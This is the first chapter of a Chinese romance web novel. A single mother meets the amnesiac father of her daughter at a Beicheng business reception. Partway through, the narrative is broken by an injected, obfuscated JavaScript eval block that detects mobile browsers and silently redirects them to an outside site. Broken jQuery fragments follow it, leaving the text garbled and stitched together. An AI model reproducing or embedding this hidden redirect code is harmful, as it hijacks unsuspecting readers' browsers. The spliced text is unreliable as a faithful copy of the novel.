1. 第 1 章

作品:《我的爸爸十八岁

    窗外风吹树摇下着瓢泼大雨,掩住了屋内低低的喘息。


    空气里压着潮热,地上堆叠的衣服凌乱,沈安若陷在柔软的床被里,身体深处一点点漫出的难受快要将她吞没,她仰起头想要靠近他,他却避开她的唇,盯着她,哑声问:“为什么要上我的车?”


    沈安若搂上他的脖子,颤微微地表白:“因为我喜欢你。”


    他不答,眼神冷如寒冰。


    沈安若得不到回应,眼眶渐红:“你喜欢我吗?一点点也算。”


    他嗤一声,看她的目光满是讥诮:“你也太高看自己,我怎么会喜欢一个骗子,滚!这辈子都不要再出现在我面前。”


    一阵嗡声的振动压着桌板响起,沈安若猛然从梦中惊醒,心跳如雷。


    旁座的贺怀章摁掉推销电话,转头看她:“做噩梦了?”


    沈安若回过神,摇摇头,也不算是噩梦,只不过是梦到了一些旧事。


    雨点砸到舷窗划出斑驳的水痕,广播里响起飞机即将落地北城的播报,她带着诺诺离开北城的那天也下着雨,时隔一年再来北城,又是一场雨。


    也不知道家里现在有没有下雨,诺诺最喜欢下雨天。


    沈依诺盘腿坐在落地窗前,双手托腮,一动不动地看着外面,豆大的雨点子噼里啪啦地砸到地上,她眼睛一亮,直接跳起来,穿上自己粉色的小雨鞋,拿起旁边的小花伞,拉开落地窗,跑到了院子里。


    终于下雨啦!


    自从妈妈给她买了这把小花伞,她就一直盼着老天爷爷能给她下一场哗啦啦的雨。


    隔壁院的小胖已经在外面等了很久,听到这边院子的动静,忙跑过来,趴到铁栅栏上。


    但是铁栅栏围得严实,他看不到人,只能贴着缝隙向诺诺显摆:“沈依诺,我妈妈给我买了奥特曼雨衣,你没有吧?你妈妈不给你买。”


    诺诺举着小花伞在雨里转圈,本来不想搭理小胖,但她现在太开心了,奶声奶气回他:“我有小花伞呀,不需要奥特曼的雨衣。”


    小胖噎住,不服气,低头看到自己的新雨鞋,又得意:“我有新雨鞋,你的雨鞋是旧的。”


    诺诺嗓音软糯:“你的鞋已经穿在脚上了,现在也是旧的了。”


    小胖又是一噎,他平时最喜欢干的事情就是把别人给欺负哭,可这个沈依诺从来都不怕他,他比她都要高一个头了,他一定要让她哭一次,他要当幼儿园里的老大。


    他突然想起奶奶今天早晨在饭桌上的话,双手叉在腰上,昂起他那三层褶的下巴冲着天:“你没有爸爸,你好可怜,连爸爸都没有,我就有爸爸。”


    诺诺眨巴眨巴眼睛,像是同意他的说法:“哦,那你不可怜,”又隔着铁栅栏认真问,“你的屁股还疼吗?”


    小胖的脸僵住,下意识地摸摸自己还肿着的屁股,昨天在幼儿园门口被他老子踹的委屈又涌上来,嘴一瘪就要哭,还反告一状:“沈依诺,你太坏了,你欺负我,我要去告诉我爸爸。”


    诺诺一点儿都不怕他,桂姨婆说他就是个纸老虎,她道:“我要是能把你给欺负了,你是不是以后得叫我老大?”


    小胖一句话都说不出,他其实根本不敢跟他爸说什么,他爸要是知道他被一个小姑娘给欺负了,准得又骂他一顿,他拿诺诺这个小不点没办法,羞愤交加,踹一脚栅栏,转身就走,再不要理她一下。


    诺诺叹一口气,这个小胖和他那个爸爸一样,一不开心就爱踹东西。


    有爸爸有什么好的,她可不想要一个凶凶又臭臭的爸爸,她有妈妈就够了。


    哦,还有桂姨婆,姨婆可厉害了,会做好多好吃的饭,会织好漂亮的毛衣,还不怕毛毛虫,妈妈也不怕毛毛虫,只有她怕。


    妈妈说有害怕的东西很正常,谁都会有害怕的东西,就像妈妈虽然不怕毛毛虫,但她很怕高,一坐大飞机就会害怕,她就不会怕,每次坐大飞机,她都会握住妈妈的手保护妈妈。


    这次她没有在妈妈身边,也不知道怀章叔叔能不能保护妈妈,等妈妈的大飞机落了地,她要问问妈妈。


    正在做饭的黄桂琴在屋里喊人:“诺诺,妈妈来电话了。”


    诺诺高兴地应一声,急急地跑进屋,她正想着妈妈,妈妈的电话就打来了,看来妈妈也在想她。


    沈安若和女儿通完话,又回了几条工作群里的信息,行李箱从手边溜走,贺怀章伸手要给她拿,沈安若拽住行李箱:“我自己来就行,你手又不方便。”


    贺怀章前几天踢球不小心把手给扭到了,还是右手,做什么都不方便,不然这次来北城出差他自己一个人也可以应付,贺怀章有些歉意地看她:“你这几天不在家,诺诺不会闹吧?”


    提到女儿,沈安若不由弯起唇角:“不会,她等着我给她买礼物回去呢,还给我报了个清单。”


    贺怀章看着她眉眼里的盈盈浅笑,一时有些失神,受伤的胳膊被路人撞到,钻心的疼又将他的思绪扯回来。


    一行西装革履的人从他身边大步流星地走过,个个看起来都是人中精英,周围的人纷纷看过去,连熙熙攘攘的嘈杂声似乎都小了些。


    那一行人中最引人注目的,要属走在最前面的那一位,一身黑衣的休闲装,短寸头,肩宽腿长,背影高大,光看气场就知道是个非富即贵的主儿。


    皇城根儿脚下,难免会碰到一些大人物,贺怀章收回视线,目光又落到沈安若身上,看她面色有些白,关切问:“身体不舒服?”


    沈安若勉强笑了下,只道没事儿。滴滴司机打来电话问他们在哪儿,他已经到了。沈安若回着司机的话,拉起行李箱目不斜视地向电梯走去。


    方大川跟在老板身后,面上很平静,心里热闹得像在逛大庙,他余光里已经偷偷瞄了沈安若好几眼。


    这一年来,他每周都定期向老板事无巨细地汇报江城那边的人发过来的资料,这还是他第一次见到资料中的真人。


    他跟老板的时间不长,有好多事情他都不清楚,他只知道老板之前遭遇车祸,重伤,昏迷了两年多,一年前才醒过来。


    现在身体各方面的机能已经基本恢复,但丧失了部分记忆,确切地说老板现有的记忆只到十八岁。


    国内外相关方面的权威专家经过几轮会诊,得出的最终结论都是一样的,由于老板大脑神经上的损伤不可逆转,有些记忆可能永远都不会恢复。


    方大川有理由怀疑老板十八岁那年是不是发生了什么重要的事情,不然老板的记忆怎么就单单以十八岁这个节点给断掉了。


    或许有可能跟小公主的妈妈有关,那些狗血短剧里不都是这么演的,他每当被工作折磨得想要吐血时,都是看狗血短剧来解压的,越狗血,越能让他回血。


    方大川又偷偷瞄了老板两眼,不过他也瞄不出什么来,他老板一张扑克脸永远不会让人猜透他在想什么。


    单看两人现在这样形同陌路的碰面,他有些拿不准两个人的关系,闹掰了的离婚夫妻?还是被老板遗忘的旧情人?


    但小公主是真漂亮,像妈妈。


    他每次看到小公主的照片,都情不自禁地想要咧嘴笑,他要是有这么个漂亮又可爱的女儿,得从梦里笑醒。


    他都不知道老板每次看到那些照片,是怎么忍住那一张脸没一点儿表情的,他有的时候都觉得老板不止伤了大脑神经,也伤了面部神经,所以现在连笑都不会了。


    当然这些话只是他心里无数的诽腹之一,豪门秘辛多,伴君又如伴虎,眼要快嘴要严是他的基操。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506414|186076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老板从昏迷中一醒来就多了个女儿这件事,他是仅有的几个知情人之一,他就是想和谁八卦的心都冲破了天,也要死死忍住,连女朋友和亲爹娘都不可以,也就只能在梦里和周公唠唠。


    沈安若到了酒店,拿热水冲了把脸,脸上才有了些血色,她看着窗外的雨呆坐了一会儿,拿出化妆包开始化妆。


    他们这次来北城,除了要拜访客户,还要在今晚的酒会上见几位意向投资人。


    她一年前回到江城加入现在的团队,合伙人贺怀章和冯宝珠都是她的高中同学,公司主要是做陪护机器人这一块儿。


    贺怀章主抓技术,冯宝珠负责业务,她管运营,公司规模不算大,但大家干得都奔头十足。


    她对现在的生活很满意,有女儿,有自己的房子,还有一份她喜欢还能覆盖生计的工作。


    她并不希望和那些旧人旧事再有什么牵扯,他不记得她,也忘了那两年的事情,于他于她都不是一件坏事。


    就算有一天他因为女儿找上门,她也没什么好怕的,她当初是利用欺骗了他,可他也不过是拿她当个猫儿狗儿在逗着玩儿,他们之间谁也不亏欠谁。


    沈安若一笔一笔描摹着眉眼,心里的慌乱渐渐平息。


    酒会场所私密,来宾身份大多显贵,有不少在新闻或是财经杂志上常出现的熟面孔,贺怀章初见这样的大场面,一开始难免有些紧绷,但他心大胆子也大,没一会儿就适应开。


    沈安若对这样的场合不陌生,无论是喝酒还是应酬,她都驾轻就熟,贺怀章在自己的专业领域又有绝对的自信,无论对方抛出什么样的问题,他都能深入浅出地说明白,两个人打配合打得十分默契。


    事情比预想中的顺利,贺怀章很兴奋,给远在德国的冯宝珠连发了几条消息。


    沈安若却不敢高兴太早,人家肯收他们名片只是第一步,有没有后续才是关键,但她没有提这些话,乐观不是一件坏事情,他们现在需要这种士气。


    酒场过三巡,沈安若和贺怀章在无人的角落凑在一起,低声复盘着刚才聊得好的几位老总,看在别人眼里俨然是一对儿背着人在偷偷耳鬓厮磨的热恋情侣。


    刚接完家里电话的陈瑾舟正向他三哥炫耀自己的大宝贝儿子,三四岁的年纪,正是招人疼的时候,要多可爱有多可爱,没当过爹的人根本没办法体会这种感觉。


    陈瑾舟激动地说了老半天,却发现身边的人压根儿就没听他说话,他顺着他的视线看向楼下的宴会厅,这一看可不得了,他两只眼登时支棱起来。


    这满场子的美女虽然多,那女人身上的那种漂亮却是独一份的。


    一袭黑裙勾出窈窕纤柔的身段儿,长发低挽,露出修长的颈项,在灯光下泛着羊脂玉的润泽,红唇雪颜,清清冷冷中又有一股子妖妖娆娆的劲儿,这要是再笑起来肯定能要人命。


    陈瑾舟想让自己显得不那么八卦:“认识?”


    林修远收回视线,面无表情:“不认识。”


    他在他现存的记忆里找不到任何和她相关的事情,她只在他的梦里出现过一两次,说谎哄人不眨眼,脚踩两只船,心狠做事又绝,是他在现实中不会去多看一眼的人。


    陈瑾舟可不信他的话,他这位三哥什么时候这样盯着一个女人看过:“不认识你怎么老盯着人家看,”他又昂昂下巴点点贺怀章,看热闹不嫌事儿大,“再漂亮也是人家的女朋友,咱可不兴撬人墙角的。”


    林修远眉心微一蹙,复又展开,淡淡道:“她是我女儿的妈。”


    陈瑾舟一愣,嘴张了张,又闭上,是他这些年在国外呆的时间太长了吗,怎么突然就听不懂中国话了。


    三哥什么时候多了个女儿?!他怎么不知道!?